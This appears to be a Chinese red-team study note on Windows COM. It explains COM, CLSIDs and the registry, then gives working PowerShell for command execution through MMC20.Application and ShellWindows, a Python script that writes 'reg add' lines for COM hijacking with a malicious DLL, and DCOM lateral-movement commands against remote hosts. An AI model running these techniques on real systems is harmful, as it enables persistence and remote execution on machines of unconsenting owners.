权限维持-COM

COM

com官方文档https://learn.microsoft.com/zh-cn/windows/win32/com/com-fundamentals

com是一种接口标准,windows下的软件开发可以遵从com标准,也可以不遵从,对于遵从com标准的软件,我们创建它的com对象后可以通过com接口规定的方法进行一些操作,而不遵从的就不能通过com进行操作。此外,例如word = win32com.client.Dispatch(“Word.Application”),这里面的Word.Application通过注册表进行注册

开发者使用编程语言(如 C++、C# 等)实现 COM 对象,定义接口并实现这些接口的方法。

使用工具(如 regsvr32)或安装程序将 COM 对象的信息注册到 Windows 注册表中。注册信息包括:CLSID(类标识符),ProgID(程序标识符),接口ID,组件的文件路径等。

COM 的核心概念

COM 就是计算机世界中的“标准接口”: 在计算机中,COM(组件对象模型)就是一种类似的“标准接口”。它允许不同的软件部件(或称为组件)之间进行通信和协作,而不需要了解对方的内部实现细节。这些组件可以用不同的编程语言编写,但只要它们遵循COM标准,它们就可以互相交流。

  1. 在设计层面,COM模型分为接口实现。 例如计划任务示例代码中的ITaskService
  2. ==区分COM组件的唯一标识为Guid,分别为针对接口的IID(Interface IDentifier)与针对类的CLSID(CLaSs IDentifier)==。 例如CLSID_TaskScheduler定义为0F87369F-A4E5-4CFC-BD3E-73E6154572DD
  3. COM组件需要在注册表内进行注册才可进行调用。通常情况下,系统预定义组件注册于HKEY_LOCAL_MACHINE\SOFTWARE\Classes,用户组件注册于HKEY_CURRENT_USER\SOFTWARE\ClassesHKEY_CLASSES_ROOT为二者合并后的视图,在系统服务角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes。 例如计划任务组件的注册信息注册于HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}
  4. Windows最小的可独立运行单元是进程,最小的可复用的代码单元为类库,所以COM同样存在进程内(In-Process)进程外(Out-Of-Process)两种实现方式。多数情况下,进程外COM组件为一个exe,进程内COM组件为一个dll。 例如计划任务的COM对象为进程内组件,由taskschd.dll实现。
  5. ==为方便COM组件调用,可以通过ProgId(Programmatic IDentifier)CLSID指定别名==。 例如计划任务组件的ProgId为Schedule.Service.1
  6. 客户端调用CoCreateInstanceCoCreateInstanceExCoGetClassObject等函数时,将创建具有指定CLSID的对象实例,这个过程称为激活(Activation)。 例如微软示例代码中的CoCreateInstance(CLSID_TaskScheduler,....)
  7. COM采用工厂模式(class factory)对调用方与实现方进行解耦,包括进程内外COM组件激活、通信、转换,IUnknown::QueryInterfaceIClassFactory始终贯穿其中。 例如微软示例代码中的一大堆QueryInterface
  8. com程序一般是dll文件,被提供给主程序调用。不同的com程序具有不同的接口,但是所有的接口都是从class factory 和 IUnknown接口获得的。所以com程序必须实现 class factory 和 Iunknown接口
  9. 接口是实现对对象数据访问的函数集,而接口的函数称为方法。每个接口都有自己的唯一接口标识符,叫IID, IID也是一个GUID(全局唯一标识符)。 在定义接口时,用IDL来定义,使用MIDL编译会生成对应的都文件,根据头文件我们自己实现编程调用
  10. IUnKnown接口 所有COM接口都继承自IUnKnown接口,该接口具有3个成员函数,QueryInterface、AddRef、Release.
  11. CoCreateInstance 函数创建com实例并返回客户端请求的接口指针。客户端指的是将CLSID传递给系统并请求com对象实例的调用方,这里个人理解为编程人员的代码获取com服务器的指针,并调用接口的方法使用com服务,服务器端指的是向系统提供COM对象的模块 com服务器主要有两种,进程内和进程外,进程内服务器在dll中实现,进程外服务器在exe中实现。 如果要创建com对象,com服务器需要提供 IClassFactory 接口的实现,而且 IClassFactory 包含 CreateInstance方法。 IUnknown::QueryInterface和IClassFactory始终贯穿在com组件的调用中。
  12. 在注册com服务器的时候,如果是进程内注册,即dll,dll必须导出以下函数 DllRegisterServer DllUnregisterServer 注册是将com对象写进注册表,自然离不开注册表的一系列函数 RegOpenKey RegCreateKey
  13. 几乎所有的COM函数和接口方法都返回HRESULT类型的值,但HRESULT不是句柄

com与注册表的关系

HKEY_CLASSES_ROOT 用于存储一些文档类型、类、类的关联属性
HKEY_CURRENT_CONFIG 用户存储有关本地计算机系统的当前硬件配置文件信息
HKEY_CURRENT_USER 用于存储当前用户配置项
HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存储当前用户对计算机的配置项
HKEY_LOCAL_MACHINE 用于存储当前用户物理状态
HKEY_USERS 用于存储新用户的默认配置项

com调用需要的值

1.CLSID
2.IID
3.虚函数表
4.方法签名

整理以后制作IDL,获取到IDL之后,就可以使用合适的语言进行调用

GUID 用于在系统中唯一标识一个对象,CLSID(类标识符)是GUID在注册表中的表示,用于在注册表中唯一标识一个com类对象。guid在标识接口时称为IID(接口标识符)

每一个注册的clsid表项中都含有一个 InprocServer32的子项,该子项内有映射到该com二进制文件的键值对,操作系统通过该键值对将com二进制文件载入进程。

InprocServer32表示的是dll的实现路径,LocalServer32表示的是exe的实现路径

image-20240716093135890

具体例子

例子1:Microsoft Office自动化

假设你想写一个程序自动打开Microsoft Word,并在文档中输入一些文字。Microsoft Word提供了一个COM接口,让你可以通过程序控制它。

用Python来实现:

import win32com.client

# 创建一个Word应用程序的COM对象
word = win32com.client.Dispatch("Word.Application")

# 使Word应用程序可见
word.Visible = True

# 创建一个新文档
doc = word.Documents.Add()

# 在文档中输入文字
doc.Content.Text = "Hello, COM world!"

在这个例子中,我们通过COM接口创建了一个Word对象,控制它打开了一个文档并输入了文字。

image-20240715172600633

例子2:创建快捷方式

你可以使用COM接口创建Windows桌面的快捷方式。

用Python来实现:

import win32com.client

# 创建Shell对象
shell = win32com.client.Dispatch("WScript.Shell")

# 创建快捷方式对象
shortcut = shell.CreateShortcut("C:\\path\\to\\shortcut.lnk")

# 设置快捷方式目标路径
shortcut.TargetPath = "C:\\path\\to\\target.exe"

# 保存快捷方式
shortcut.save()

COM对象的注册和使用

注册表中的 COM 信息

在 Windows 注册表中,COM 对象的相关信息主要存储在以下几个关键位置:

  1. CLSID(Class ID)

    • ==每个 COM 类都有一个唯一的类标识符(CLSID==),存储在注册表路径 HKEY_CLASSES_ROOT\CLSID 下。
    • 例如,Word.Application 的 CLSID 可能是 {000209FF-0000-0000-C000-000000000046}
  2. ProgID(Programmatic Identifier)

    • ProgID 是一个更易读的标识符,通常是一个字符串,如 Word.Application

    • 这些信息存储在注册表路径HKEY_CLASSES_ROOT下。例如:

      HKEY_CLASSES_ROOT\Word.Application
  3. 接口信息

    • COM 接口的信息存储在 HKEY_CLASSES_ROOT\Interface 路径下。

示例

假设你要注册一个名为 MyComponent.MyClass 的 COM 组件,可能的注册信息如下:

注册表信息

HKEY_CLASSES_ROOT
    \MyComponent.MyClass
        \CLSID = {12345678-1234-1234-1234-123456789012}
    \CLSID
        \{12345678-1234-1234-1234-123456789012}
            \InprocServer32 = C:\Path\To\MyComponent.dll

注册 COM 对象的过程

  1. 实现 COM 对象:开发者编写实现代码并生成 DLL 或 EXE 文件。

  2. 注册 COM 对象

    • 使用注册工具,如

      regsvr32

      ,将 DLL 注册到系统中。例如:

      shell
      复制代码
      regsvr32 C:\Path\To\MyComponent.dll
    • 也可以通过安装程序自动完成注册过程。

使用 COM 对象

当你在代码中使用 win32com.client.Dispatch("Word.Application") 时,以下是发生的步骤:

  1. 查找 ProgIDWord.Application 是 ProgID,系统在注册表中查找它对应的 CLSID。
  2. 查找 CLSID:找到 CLSID 后,系统查找对应的 COM 服务器位置(DLL 或 EXE)。
  3. 加载 COM 服务器:系统加载对应的 COM 服务器(如 MSWORD.OLB),并创建 COM 对象实例。
  4. 返回接口:返回 COM 对象的接口指针,你可以通过这个指针调用接口方法。

COM利用

执行命令

枚举com对象

gwmi Win32_COMSetting | ? {$_.progid } | sort | ft ProgId,Caption,InprocServer32

COM接口里枚举出来的函数(如果是微软公开的话)可以到:https://docs.microsoft.com/en-us/search/?dataSource=previousVersions&terms= 搜索 例如:ExecuteShellCommand https://docs.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand

在调用函数的时候需要注意,如果CLSID子项带有ProgID的话需要指定ProgID调用方法或属性

对com组件的利用可以直接使用powershell调用接口执行命令

这里可以调用mmc执行命令 ,后文会讲到,mmc还支持远程调用,等到DCOM那里会提

$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

另一种调用COM执行命令

$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")) 
$item = $hb.Item() 
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

等等……还有很多

$shell = [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))
$shell.Run("calc.exe")

计划任务

通过调用ITaskFolder::registerTask 来注册计划任务

这里头像哥讲的很通俗,可以参考

http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.1_basic.html

根据微软官方稍作修改,实现dll武器化

进程注入

利用com实现进程注入,没有调用CreateProcess等常规api,而是调用oleacc!GetProcessHandleFromHwnd(),利用 IRundown::DoCallback()执行命令,并且该接口需要一个IPID和OXID值来执行代码。该接口也不是公开的方法,需要手动去逆,来实现武器化

com劫持

持久性com劫持https://www.4hou.com/posts/Mo51

COM劫持(COM Hijacking)是一种安全漏洞利用技术,主要针对Windows操作系统中的COM(Component Object Model)对象注册机制。这种技术允许攻击者篡改或替换系统中已注册的COM组件,以执行恶意操作或获取系统权限。

每个COM组件都有一个唯一的标识符(CLSID),并注册在系统的注册表中。应用程序可以通过CLSID来查找和调用COM组件的功能。

COM劫持利用了以下几个关键点:

  1. 注册表权限:COM组件的注册表项通常具有系统或管理员级别的权限。
  2. 搜索路径:Windows在查找COM组件时会按照一定的顺序搜索注册表中的路径,攻击者可以通过修改这些路径来引导系统加载恶意的COM组件。

原理

我们知道dll劫持的原理是利用加载dll的路径顺序,替换原dll为恶意dll,那么com劫持是不是也是类似的呢

com组件的加载过程如下

HKCU\Software\Classes\CLSID
HKCR\CLSID
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\

可以看到HKCU的优先级高于HKCR高于HKLM

那我们的目标就很明显了,劫持目标选择 HKCU\Software\Classes\CLSID,这样就会先加载我们的恶意dll。

与dll劫持不同的是,dll劫持只能劫持dll,com劫持可以劫持 com文件、pe文件、api文件等

步骤就是修改注册表的路径,指向我们的恶意路径,和白加黑一样

利用缺失的CLSID

每一个注册的clsid表项中都含有一个 InprocServer32的子项,该子项内有映射到该com二进制文件的键值对,操作系统通过该键值对将com二进制文件载入进程。

==InprocServer32表示的是dll的实现路径,LocalServer32表示的是exe的实现路径==

尝试一下对计算器进行com劫持,寻找 在InprocServer32下缺失的CLSID

因为修改InprocServer32下的dll需要一定权限,所以该方法需要管理员权限

python实现自动化替换路径

import csv

class Inject(object):
    def __init__(self):
        self.path='Logfile.CSV'

    def add(self):
        with open(self.path,'r',encoding='utf-8') as r:
            g=csv.DictReader(r)
            for name in g:
                z=[x for x in name]
                for i in z:
                    if 'HK' in str(name[i]):
                        print('reg add {} /ve /t REG_SZ /d C:\\Users\\Administrator\\Desktop\\test\\Dll64.dll /f'.format(name[i]),file=open('com_hijack.bat','a',encoding='utf-8'))

if __name__ == '__main__':
    obj=Inject()
    obj.add()
    print('[!] Administrator run com_hijack.bat')

生成bat后需要管理员权限打开,再次打开calc发现已经成功劫持

该方法有个明显的缺点,就是需要管理员权限。

所以这里出现了第二种方法

覆盖COM键

原理:在HKCU注册表中添加键值后,当com对象被调用,HKLM中的键值就会被覆盖(并且添加到HKCR)中

先使用oleview.net来过滤程序启动权限为空的id

DCOM

COM就像是家中的家电,它们都通过标准插座获取电力。DCOM则是一个扩展,它允许你在不同的房间甚至不同的房子之间传递电力。

可以把它认为是一种应用协议,但它更准确地说是一套技术和规范的集合。在网络协议上它基于RPC,同时也包括大量其他技术。

利用DCOM横向渗透:https://www.freebuf.com/articles/network/261454.html

COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。

DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它==支持不同的两台机器上的组件间的通信==,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。

DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM 使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法。

使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。这无疑能够增强隐蔽性,由于有大量程序都会向DCOM公开方法,因此防御者可能难以全面监测所有程序的执行。

DCOM横移

com是在计算机本地的实现,DCOM是COM的进一步扩展,DCOM通过远程过程调用(RPC)将com的功能在远程计算机上实现,可以将DCOM理解为通过RPC实现的COM。

调用DCOM需要的条件。

通常情况下,调用DCOM连接到远程计算机的时候,我们已经具有了本地管理员的权限

在很多com对象都看到APPid和CLSID是一个值,这里暂且将他们理解为CLSID的不同表示,就像GUID和CLSID一样

枚举支持DCOM的应用程序

Get-CimInstance -class Win32_DCOMApplication | select appid,name

使用DCOM执行命令

$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView | gm           //查看方法

看到执行命令的方法

调用执行

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

远程调用,需要关闭防火墙

$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.135.246")) 
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

另一种组件实现

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.135.246")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe","c:\windows\system32",$null, 0)

除了这两种方法,支持DCOM调用的还有很多公开的方法,这里不再一一列举,需要注意的是,不同的组件对不同的操作系统兼容性不同,建议投入实战前先测试兼容性

Methods                     APPID
MMC20.Application           7e0423cd-1119-0928-900c-e6d4a52a0715
ShellWindows                9BA05972-F6A8-11CF-A442-00A0C90A8F39
ShellBrowserWindow          C08AFD90-F2A1-11D1-8455-00A0C91F3880


Document.Application.ServiceStart()
Document.Application.ServiceStop()
Document.Application.IsServiceRunning()
Document.Application.ShutDownWindows()
Document.Application.GetSystemInformation()

怎么来查找是否可以被我们利用呢?

可以通过oleview.net 来查找对应的CLSID和启动权限,看到这里 Launch Permission为空,说明普通权限即可

windows文档:https://learn.microsoft.com/zh-cn/windows/win32/com/com-fundamentals

相当好的文章:https://tttang.com/archive/1824/

描述怎么挖掘com:https://paper.seebug.org/1624/#com_3

自动挖掘com组件:https://github.com/nickvourd/COM-Hunter

COM在权限维持中的应用https://ruyueattention.github.io/2021/12/26/COM%E5%8A%AB%E6%8C%81/

0%